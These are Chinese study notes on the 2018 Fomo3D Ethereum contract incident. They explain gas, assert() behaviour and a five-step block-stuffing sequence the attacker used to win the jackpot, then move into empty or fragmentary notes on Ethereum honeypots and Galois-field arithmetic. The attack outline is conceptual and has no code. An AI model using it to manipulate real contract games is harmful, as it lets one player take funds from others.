Fomo3D合约攻击案例
https://paper.seebug.org/681/
https://bcsec.org/index/detail/tag/2/id/484
事件原理
在解释事件发生原理之前,我们需要先了解一下关于区块链底层的知识。
以太坊约14s左右会被挖出一个区块,一个区块中会打包交易,只有被打包的交易才会在链上永不可篡改。
所以为了奖励挖出区块的矿工,区块链上的每一笔交易都会消耗gas,这部分钱用于奖励矿工,而矿工会优先挑选gas消耗比较大的交易进行打包以便获得更大的利益,目前,一个区块的gas上限一般为8000000。
而对于每一笔交易来说,交易发起者也可以定义gas limit,如果交易消耗的gas总值超过gas limit,该交易就会失败,而大部分交易,会在交易失败时回滚。
为了让交易不回滚,攻击者还使用了一个特殊的指令assert(),这是一个类似于require的函数,他和require唯一的区别就是,当条件不满足时,assret会耗光所有的gas。原理是因为在EVM底层的执行过程中,assret对应一个未定义过的操作符0xfe,EVM返回invalid opcode error,并报错结束。
而攻击者这里所做的事情呢,就是在确定自己是最后一个key的持有者时,发起超大gasprice的交易
攻击流程:
- Fomo3D倒计时剩下3分钟左右
- 攻击者购买了最后一个key
- 攻击者通过提前准备的合约发起大量消耗巨量gas的垃圾交易
- 3分钟内不断判断自己是不是最后一个key持有者
- 无人购买,成功获得大奖
以太坊蜜罐
细节学习
伽罗华域
前置知识:
- 多项式运算
- 椭圆曲线
- 离散对数
有限域GF(p)
GF(p) 四则运算需要 mod p
即 GF(p)加法为 (a+b) mod p